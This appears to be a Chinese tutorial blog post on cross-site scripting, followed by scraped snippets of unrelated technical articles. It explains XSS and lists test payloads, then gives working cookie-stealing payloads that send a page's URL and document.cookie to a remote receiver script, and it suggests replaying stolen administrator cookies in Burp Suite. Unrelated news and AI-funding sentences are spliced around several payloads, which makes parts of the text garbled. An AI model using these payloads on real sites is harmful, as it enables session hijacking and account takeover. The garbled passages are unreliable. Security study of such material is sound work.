XSS攻击(1), 测试XSS漏洞, 获取cookie
XSS漏洞, 测试XSS漏洞, 获取cookie
一, 概念:
XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.
二, 目的:
XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:
-
窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。
-
账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。
-
传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。
-
钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。
-
网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。
-
网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不可见的操作,如点击广告或链接,从而为攻击者带来经济利益。
-
利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。
-
收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。
-
DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。
-
绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。
三, 测试XSS漏洞
原理:
XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.
步骤:
-
- 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
-
- 在文本输入的地方使用
<JavaScript>, <img>, <button>等标签嵌入代码并提交, 例如:
- 在文本输入的地方使用
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
<button onclick=alert(document.cookie)>显示cookie</button>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
-
- 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
url: http://192.168.112.200/security/testxss.php?content=1
1. <script></script> 标签
content=<script>alert(1)</script>
content=<script>alert('hello word')</script>
content=<script>alert(/hello word/)</script>
注意:
在url提交参数时, 加号 ‘+’ 会被表示为空格.
如果想使用加号本身, 需要url编码, 加号的url编码是 ‘%2B’ 或 ‘%2b’ .
<script>var res=0;for (var i=0;i<=100;i%2B%2B){res%2B=i;} alert(res);</script>
2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover 等事件
content=<button onclick=alert(1)>快来点我</button>
content=<img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=<img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=<script>function test(){alert("hello world");}</script><button onclick=test()>点我测试</button>
网页源码:
<input name=keyword value="">
上面代码是一个输入框, 在输入框的位置输入payload, 用双引号对value做闭合, 后面写事件与需要执行的js代码.
payload:
" οnclick="alert(1)
提交后的网页源码:
<input name=keyword value="" onclick="alert(1)">
3. 超链接的 href 属性, 或类似属性.
content=<a href="javascript:alert(1)">快来点我</a>
四, 利用XSS获取url, cookie
将当前用户访问的url和cookie发送到攻击者的远程服务器接口.
后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.
案例:
- 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
当用户访问页面时, 会自动发送这个GET请求.
%2b表示+, 用于拼接字符串
%26表示&, 用于表示get参数之间的间隔符
接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie
payload:
这周,一家人工智能初创公司的募资额快追上这个数。
<script>new Image().src = "http://192.168.112.200/security/getxssinfo.php?url="%2blocation.href%2b"%26cookie="%2b document.cookie;
</script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
- 如果目标服务器不能执行 <script> 标签, 也可以通过 <a> 标签与 <img> 标签来实现.
当用户点击图片链接后, 发送url与cookie给攻击者的远程服务器接口.
payload:
这周,一家人工智能初创公司的募资额快追上这个数。
<a href=\'javascript:location.href="http://192.168.112.200/security/getxssinfo.php?
url="%2blocation.href%2b"%26cookie="%2b document.cookie\'><img src="https://mbdp01.bdstatic.com/static/landing-pc/img/logo_top.79fdb8c2.png"/>
</a>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
相关文章:
XSS攻击(1), 测试XSS漏洞, 获取cookie
XSS漏洞, 测试XSS漏洞, 获取cookie 一, 概念: XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础. 二, 目的: XSS(跨站脚本࿰…...
linux任务优先级
这篇笔记记录了linux任务(指线程而非进程)优先级相关的概念,以及用户态可以用来操作这些优先级的系统调用。 基本概念 调度策略 linux内核中的调度器为任务定义了调度策略,也叫调度类,每个任务同一时刻都有唯一的调…...
JVM内存模型概述
这里主要分为五大块,分别是:本地方法栈、方法区、java堆、程序计数器和java栈。其中重点是方法区、java堆和java栈。 下面就把各个区域的性质总结一下:(说明,下面的只是结论,没有详细的对各个内存块进行详细…...
【JavaEE】CAS -- 多线程篇(7)
CAS 1. 什么是 CAS2. CAS 伪代码3. CAS 是怎么实现的4. CAS的应用4.1 实现原子类4.2 实现自旋锁 5. CAS 的 ABA 问题 1. 什么是 CAS CAS: 全称Compare and swap,字面意思:”比较并交换“能够比较和交换 某个寄存器中的值和内存中的值, 看是否相等, 如果相等, 则把另…...
18-spring 事务
文章目录 1. xml和注解配置方式的对象2.spring事务传播特性3. 注解事务的初始化流程4. 创建事务信息流程图5. 事务回滚流程图 1. xml和注解配置方式的对象 2.spring事务传播特性 事务传播行为类型说明PROPAGATION_REQUIRED如果当前没有事务,就新建一个事务…...
Qt窗体设计的布局
本文介绍Qt窗体的布局。 Qt窗体的布局分为手动布局和自动布局,手动布局即靠手工排布各控件的位置。而自动布局则是根据选择的布局类型自动按此类型排布各控件的位置,使用起来比较方便,本文主要介绍Qt的自动布局。 1.垂直布局 垂直布局就是…...
分布式锁 - 理论篇
一、为什么需要分布式锁 二、分布式锁实现 1.分布式锁演进 - 基本原理 我们可以同时去一个地方“占坑”,如果占到,就执行逻辑。否则就必须等待,直到释放锁。“占坑”可以去redis,可以去数据库,可以去任何大家都能访…...
复杂的菱形继承及菱形虚拟继承(详解)
复杂的菱形继承及菱形虚拟继承 复杂的菱形继承及菱形虚拟继承虚拟继承解决数据冗余和二义性的原理笔试面试题 复杂的菱形继承及菱形虚拟继承 单继承:一个子类只有一个直接父类时称这个继承关系为单继承 多继承:一个子类有两个或以上直接父类时称这个继…...
【快捷测试模型是否可以跑通】设置一张图片的张量形式,送入自己写的模型进行测试
文章目录 1. 1. import torch.nn as nn import torch from einops import rearrange, repeat from einops.layers.torch import Rearrange import torch.nn.functional as Fclass PreNorm(nn.Module):def __init__(self, dim, fn):super().__init__()self.norm nn.LayerNorm(…...
软考系列(系统架构师)- 2019年系统架构师软考案例分析考点
试题一 软件架构(架构风格、质量属性) 【问题1】(13分) 针对用户级别与折扣规则管理功能的架构设计问题,李工建议采用面向对象的架构风格,而王工则建议采用基于规则的架构风格。请指出该系统更适合采用哪种…...
安防视频监控系统EasyCVR视频汇聚存储平台定制化开发:新增kafka配置
安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台可拓展性强、…...
C++设计模式_08_Factory Method工厂方法模式
文章目录 1. “对象创建模式”模式1.1 典型模式 2. 动机(Motivation)3. 代码演示Factory Method工厂方法模式3.1 常规方法3.2 面向接口的编程3.2.1 FileSplitter1.cpp3.2.2 MainForm1.cpp 3.3 Factory Method工厂方法3.3.1 ISplitterFactory.cpp3.3.2 Ma…...
【TensorFlow1.X】系列学习笔记【基础一】
【TensorFlow1.X】系列学习笔记【基础一】 大量经典论文的算法均采用 TF 1.x 实现, 为了阅读方便, 同时加深对实现细节的理解, 需要 TF 1.x 的知识 文章目录 【TensorFlow1.X】系列学习笔记【基础一】前言线性回归非线性回归逻辑回归总结 前言 本篇博主将用最简洁的代码由浅入…...
Linux 基础操作手记三(内存篇)
Linux 基础操作手记三 释放内存虚拟机彻底无网络测试网速设置虚拟内存交换空间未使用虚拟机设置虚拟内存无法开机问题GParted - 分配内存系统盘扩容自己 释放内存 sync && echo 3 > /proc/sys/vm/drop_caches 虚拟机彻底无网络 还原默认设置,静静的等待…...
NodeJS的初使用,以及引入第三方插件和安装淘宝镜像的教程
NodeJs 命令 npm init -y 生成package.json文件npm i jquery --save–dev 开发依赖(jQuery后面还可以跟模块,可以有多个)npm i jquery --save 生产依赖npm i jquery --D 开发依赖npm uninstall jquery 卸载删除npm i 把删掉的模块,全部重新加载回来 1.介绍 1.什么是NodeJs?…...
Java读取文件的N种方法
1.概述 在这篇文章里, 我们将探索不同的方式从文件中读取数据。 首先, 学习通过标准的的Java类,从classpath、URL或者Jar中加载文件。 然后,学习通用BufferedReader, Scanner, StreamTokenizer, DataInputStream, SequenceInput…...
子类的构造与析构过程
一、简介 父类,也称基类,其构造方法和析构方法不能被继承; 子类,也称派生类,继承父类的方法和属性,但要加入新的构造和析构函数。 二、构造与析构过程 构造:先调用父类——>再调用子类 析构&…...
位运算相关笔记
位运算 Part 1:基础 左移:左移一位,相当于某数乘以 2 2 2。左移 x x x位,相当于该数乘以 2 x 2^x 2x。 右移:右移一位,相当于某数除以 2 2 2。右移 x x x位,相当于该数除以 2 x 2^x 2x。 与运算&…...
uniapp 安装 u-view 组件库
u-view 组件库安装教程:https://uviewui.com/components/install.html 注:以下使用 HBuilderx 安装 u-view 2.0 版本,不适用于其它版本。 1.安装 u-view 组件库 2、注册并登录 HBuilderx 账号,点击下载 u-view 组件库。 3、点击…...
Go 语言的成功案例:谁在使用 Go?
Go 语言,也被称为 Golang,是一门由Google开发的开源编程语言。自从2009年首次亮相以来,它在编程社区中崭露头角,并吸引了越来越多的开发者和组织。Go 以其高效的并发性、出色的性能和简单易懂的语法而闻名。在本文中,我…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...
《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...
高频面试之3Zookeeper
高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个?3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制(过半机制࿰…...
NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
如何在最短时间内提升打ctf(web)的水平?
刚刚刷完2遍 bugku 的 web 题,前来答题。 每个人对刷题理解是不同,有的人是看了writeup就等于刷了,有的人是收藏了writeup就等于刷了,有的人是跟着writeup做了一遍就等于刷了,还有的人是独立思考做了一遍就等于刷了。…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
在日常iOS开发过程中,性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期,开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发,但背后往往隐藏着系统资源调度不当…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
【版本控制】GitHub Desktop 入门教程与开源协作全流程解析
目录 0 引言1 GitHub Desktop 入门教程1.1 安装与基础配置1.2 核心功能使用指南仓库管理日常开发流程分支管理 2 GitHub 开源协作流程详解2.1 Fork & Pull Request 模型2.2 完整协作流程步骤步骤 1: Fork(创建个人副本)步骤 2: Clone(克隆…...
